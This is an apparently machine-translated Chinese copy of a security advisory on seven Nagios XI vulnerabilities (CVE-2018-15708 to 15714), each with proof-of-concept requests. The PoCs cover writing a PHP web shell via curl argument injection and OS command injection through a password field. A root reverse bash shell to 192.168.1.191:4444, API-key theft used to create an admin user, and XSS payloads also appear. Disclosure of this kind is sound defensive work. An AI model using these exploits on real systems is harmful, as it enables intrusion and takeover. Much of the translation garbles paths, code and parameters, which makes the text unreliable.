(R2) Nagios XI多个漏洞
高剧情简介
站得住脚的发现了多个漏洞Nagiosξ5.5.6。
cve - 2018 - 15708: Magpie_debug。php通过命令参数注入未经身份验证的远端控制设备
一个关键漏洞存在于MagpieRSS库。这个库包含一个定制版本的史努比组件,允许远程,未经身份验证的攻击者将任意参数注入“卷曲”命令。通过请求magpie_debug。php的值中指定的HTTP GET url参数,脆弱的组件可以利用任意数据写入磁盘上的位置可写的“apache”用户。例如,/usr/local/nagvis/share/是可写的,公开访问的位置。如果攻击者编写PHP代码来这个位置,可以实现任意代码执行apache用户的特权。
结合当地的特权升级漏洞,执行任意代码使用root特权是可行的。
Magpie_debug。php接受一个HTTP GET参数,“url”,并随后调用fetch_rss()的url作为参数。fetch_rss函数定义在/usr/local/nagiosxi/html/includes/dashlets/rss_dashlet / magpierss / rss_fetch。公司和用于执行HTTP请求提供的URL。进一步挖掘,_fetch_remote_file()函数被调用,然后实例化一个史努比对象。fetch()方法然后叫史努比类的,最终会调用_httpsrequest如果一个HTTPS URL指定()方法。
具体地说,有问题的代码在Snoopy.class.inc与这条线:
exec ($ this - > curl_path。”- - - - - -D \"/tmp/$headerfile\"".escapeshellcmd($cmdline_params)." ".escapeshellcmd($URI),$results,$return);
远程攻击者可以利用这个漏洞没有困难。
概念验证
假设攻击者设置在https://192.168.1.191:8080 web服务器。攻击者与PHP代码配置服务器响应。是这样的:
< ?php系统($ _GET [' cmd ']);? >
Nagios XI实例位于https://192.168.1.208。使用以下URL,攻击者可能利用这一缺陷史努比/usr/local/nagvis/share/exec.php.类和编写PHP代码请注意,“- o /usr/local/nagvis/share/exec.php”是包含在“url”参数的值。这告诉旋度输出响应这个文件。
https://192.168.1.208/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php?url=https: / / 192.168.1.191:8080 / % 20 o % 20 / usr /地方/ nagvis /分享/ exec.php
一旦完成这个请求,攻击者可以通过制定一个URL执行任意系统命令像这样:
https://192.168.1.208/nagvis/exec.php?cmd=whoami
cve - 2018 - 15709: Cmdsubsys。php验证命令注入
Nagios子系统是容易受到命令注入在许多情况下。一个经过验证的攻击者可能注入和执行任意操作系统命令。这可以通过较低权限的用户(非管理)。
最终,由/usr/local/nagiosxi/cron/cmdsubsys.php子系统的命令。
下面的概念证明利用命令COMMAND_NAGIOSXI_SET_HTACCESS(1100)通过将操作系统的命令注入“密码”字段。提供了一个代码片段展示脆弱的代码。请注意,这并不是唯一的脆弱的命令。
案例COMMAND_NAGIOSXI_SET_HTACCESS: $ cmdarr = unserialize ($ command_data);美元cmdline = $ cfg (“htpasswd_path”)。”- - - - - -b -s ".$cfg['htaccess_file']." ".$cmdarr["username"]." '".$cmdarr["password"]."'"; break; ... $output = system($cmdline, $return_code);
概念验证
一定要替换相应的IP地址和“干法”价值。
https://192.168.1.208/nagiosxi/ajaxhelper.php?cmd=submitcommand&opts= {% 22 cmd % 22:1100, % 22 cmddata % 22:{% 22用户名% 22:% 22测试% 22,% 22密码% 22:% 22个测试% 3 bwhoami % 20% 27% 3 e % 20 / usr /地方/ nagiosxi / tmp / whoami.txt % 3 b % 22} 27%, % 22 cmdtime % 22:0, % 22 cmdargs % 22: % 22% 22} nsp = 30 a86418c0953be277b67c5149f9b4be762f08e14a92fcbece756922f5df2312
之后,它可以验证命令按预期工作。通知用户nagios。
猫/usr/local/nagiosxi/tmp/whoami.美元txt nagios
cve - 2018 - 15710: Autodiscover_new。php地方特权升级通过命令注入
autodiscover_new。php患有一种本地命令注入漏洞可以利用获得根操作系统权限。由源守护这个文件是受保护的,所以完全不能进行根本原因分析。然而,基于黑盒测试的结果,很明显,“地址”命令行参数的值是包含在随后调用一个危险的PHP函数用于启动另一个流程。此外,价值是unsanitized之前被用于构建命令行。这个编码缺陷允许攻击者注入和执行任意的shell命令。
此外,/etc/sudoers文件包含条目,使这个PHP脚本启动使用root特权没有密码。
User_Alias NAGIOSXI = nagios User_Alias NAGIOSXIWEB = apache……NAGIOSXI = NOPASSWD: / usr / bin / php / autodiscover_new /usr/local/nagiosxi/html/includes/components/autodiscovery /脚本。php *……NAGIOSXIWEB = NOPASSWD: / usr / bin / php / autodiscover_new /usr/local/nagiosxi/html/includes/components/autodiscovery /脚本。php *
概念验证
如果我们把这一切放在一起,“apache”和“nagios用户可以利用命令注入漏洞获得根权限。注意负载在这种情况下是一个反向bash shell连接回192.168.1.191通过TCP端口4444。
sudo php /usr/local/nagiosxi/html/includes/components/autodiscovery /脚本/ autodiscover_new。php——地址= ' 127.0.0.1/0;/ bin / bash - > & /dev/tcp/192.168.1.191/4444 0 > & 1;”
cve - 2018 - 15711:未经授权的API键再生
较低权限的,经过身份验证的用户可以迫使API主要再生任何习Nagios用户(包括管理员)。重新生成API键时,在响应中返回一个新的身体。这使恶意用户然后执行后续API调用的高水平权限。例如,用户可以创建一个新的管理。
概念验证
可以使用以下URL生成API键的用户ID为1 (nagiosadmin)。注意,IP地址和“干法”相应的值将需要更新。
https://192.168.1.208/nagiosxi/ajaxhelper.php?cmd=getxicoreajax&opts= {% 22 func % 22: % 22 set_random_api_key % 22日% 22 args % 22: {% 22 user_id % 22:1}} nsp = cc326511f1d7384bb9bf4ff619c9db91756574acb65217d27109923d6647a37e
相关的回应看起来像这样:
HTTP / 1.1 200 OK时间:星期二,2018年10月23日格林尼治时间18:56:07服务器:Apache / 2.4.6 (CentOS) OpenSSL / 1.0.2k-fips PHP / 5.4.16 X-Powered-By: PHP / 5.4.16到期:星期四,1981年11月19日格林尼治时间08:52:00 cache - control:不是商店,no - cache, must-revalidate,任职考核= 0,提前预支了= 0杂注:no - cache X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors‘自我’内容长度:64连接:紧密- type: text / html;utf - 8字符集= XKrjj3f20Fr49jiQF5E2LkZ3bl9spABmAjYSFdUV9FZBeBHTGhbnEaJ5PSQeIoTe
注意,API键返回属于用户的再生。在这种情况下,API键属于nagiosadmin。这在Nagios XI作为特权升级应用程序因为现在更多的功能可以被调用。
例如,一个新的管理员可以添加用户。
https://192.168.1.208/nagiosxi/api/v1/add_user&apikey=XKrjj3f20Fr49jiQF5E2LkZ3bl9spABmAjYSFdUV9FZBeBHTGhbnEaJ5PSQeIoTe&username=scrappy&password=scrappy&(电子邮件保护)名字=生气勃勃的+ do&auth_level = admin&api_enabled = 1 &force_pw_change = 0 &can_see_all_hs = 1 &can_control_all_hs = 1 &can_reconfigure_hs = 1 &can_control_engine = 1 &can_use_advanced = 1
cve - 2018 - 15712: Api_tool。php未经身份验证的持久的跨站点脚本
持久的跨站点脚本(XSS)脆弱性存在于Nagios XI情报(BPI)业务流程组件的api_tool.php。该文件位于/usr/local/nagiosxi/etc/components/bpi.conf可以篡改。攻击者可以通过制作注入新的条目HTTP GET主机的参数值。读取这个文件通过/ nagiosxi /包括/组件/ nagiosbpi /索引。php当用户打开BPI视图。bpi。配置文件被篡改最终可能看起来像下面的。注意第二个条目:
定义linux服务器{title = HG: linux服务器desc =主= 1信息=成员= localhost;零;&、你好}<脚本>定义警报(1)< /脚本> {desc = < /强> <脚本>警报(2)> < /脚本;零;&、warning_threshold = 0 critical_threshold优先级= 0 = 0类型= hostgroup auth_users =}
概念验证
注意:一定要改变IP地址以匹配您的环境。两个请求需要注入XSS载荷:
https://192.168.1.208/nagiosxi/includes/components/nagiosbpi/api_tool.php?cmd = syncall https://192.168.1.208/nagiosxi/includes/components/nagiosbpi/api_tool.php?cmd=addmember&group=linux-servers&host=hello%0a} % 0 adefine % 20% 3 cscript % 3 ealert (1) % 3 c /脚本% 3 e % 20 {% 0 adesc = % 3 c /强% 3 e % 3 cscript % 3 ealert (2) % 3 c /脚本% 3 e
一旦这些完成了,以一个有效的用户登录和访问以下网址:
https://192.168.1.208/nagiosxi/includes/components/nagiosbpi/index.php
cve - 2018 - 15713:用户。php通过身份验证的持久的跨站点脚本
一个持久的跨站点脚本漏洞被发现在admin / users.php习Nagios。这个漏洞需要利用认证成功。
具体来说,由于缺少输入验证存在安全漏洞时显示用户的电子邮件地址在admin / users.php。这个值可以定义通过修改一个用户的电子邮件地址通过/账户/主要。php或/ admin / users.php。用户。php需要管理员的访问级别;然而,主要的。php不。这意味着较低权限的用户可以注入XSS负载,和管理员用户将受到攻击的影响。
幸运的是,饼干是标记为‘httpOnly’,所以恶意JavaScript不能访问会话ID存储在cookie中。然而,Nagios会话保护器(nsp)值可以被访问,因为它是存储在DOM中。这将允许攻击者窃取这些令牌,随后创建促进请求伪造恶意形式或链接。
概念验证
为了测试PoC的,将IP地址替换为一个IP或主机名访问Nagios XI实例安装/配置,更新“干法”价值,并相应地更新饼干。
POST / nagiosxi /账户/ main.php吗?页面= acctinfo HTTP / 1.1主持人:192.168.1.208 user - agent: Mozilla / 4.0(兼容;MSIE 6.0;Windows NT 5.0)接受:text / html, application / xhtml + xml应用程序/ xml; q = 0.9 * / *; q = 0.8接收语言:en - us, en; q = 0.5接受编码:gzip、抑制推荐人:https://192.168.1.208/nagiosxi/account/main.php?& = - type:应用程序/ x-www-form-urlencoded内容长度:359饼干:nagiosxi = sg3pa9fi5e4ngj6a4jgm287jg7连接:紧密Upgrade-Insecure-Requests: 1更新= 1 nsp = e7fc3b0557861b1f39d6a2827edcf515086c7f2ec96acdd885a952266ba437be¤t_password = password1 = 2 =名字=史酷比+ Doo&email = % 3 cscript % 3 ealert % 22你好+提升% 28% 22% 29% 3 c % 2 fscript % 3 escooby1 % 40 tenable.com&language = en_US&theme = &highcharts_default_type = line&defaultDateFormat = 1 &defaultnumberformat = 2 &defaultweekformat = 0 &updatebutton = +设置发布/更新nagiosxi / admin / users.php吗?编辑= 1 user_id [] = 2 HTTP / 1.1主持人:192.168.1.208 user - agent: Mozilla / 4.0(兼容;MSIE 6.0;Windows NT 5.0)接受:text / html, application / xhtml + xml应用程序/ xml; q = 0.9 * / *; q = 0.8接收语言:en - us, en; q = 0.5接受编码:gzip、抑制推荐人:https://192.168.1.208/nagiosxi/admin/users.php?编辑= 1 user_id [] = 2 - type:应用程序/ x-www-form-urlencoded内容长度:498饼干:nagiosxi = sg3pa9fi5e4ngj6a4jgm287jg7连接:紧密Upgrade-Insecure-Requests: 1 = 1更新规划= 02 bc33485c2fd6edac30ee7e7af1a2f14d47c36ffb9cd8c9b5e74721bb886dbd&users = 1 user_id % 5 b % 5 d = 2用户名= scooby&password1 = 2 =名字=史酷比+ Doo&email = % 3 cscript % 3 ealert % 28 nsp_str % 29% 3 c % 2 fscript % 3 escooby1 % 40 tenable.com&phone = &enable_notifications = on&enabled =语言= en_US&defaultDateFormat = 1 &defaultnumberformat = 2 &defaultweekformat = 0 auth_type = local&ad_username = dn =水平= 1 &ccm_access = 0 apikey = jt2ZRc3fdPnn6VSKn3QZZdSVabJp7tbJZcY8n2mT7MBcYpdFMjU2PMXYeWHkpRkJ&updateButton =更新+用户
cve - 2018 - 15714 - Checkauth。php反映跨站点脚本编制
一个反映在帐户/ checkauth.php跨站点脚本漏洞存在。“oname”的HTTP GET参数不是安全处理;因此,恶意的JavaScript可以被注入并执行。其他参数也可采(如“oname2”);
例如,下面的代码片段checkauth。php输出的值“oname”和“oname2”参数到HTML响应。
< td >对象名称:< / td > < td > < input type = " text " Name = value =“oname < ?php echo $ oname;? > 15“大小= > < input type = "文本" name = value =“oname2 < ?php echo $ oname2;? > "大小= " 15 " > < / td >
概念验证
https://192.168.1.208/nagiosxi/account/checkauth.php?oname = "自动对焦聚焦事件= " javascript:警报(nsp_str)
解决方案
额外的引用
披露时间表
风险信息
cve - 2018 - 15709
cve - 2018 - 15710
cve - 2018 - 15711
cve - 2018 - 15712
cve - 2018 - 15713
cve - 2018 - 15714
克里斯•莱恩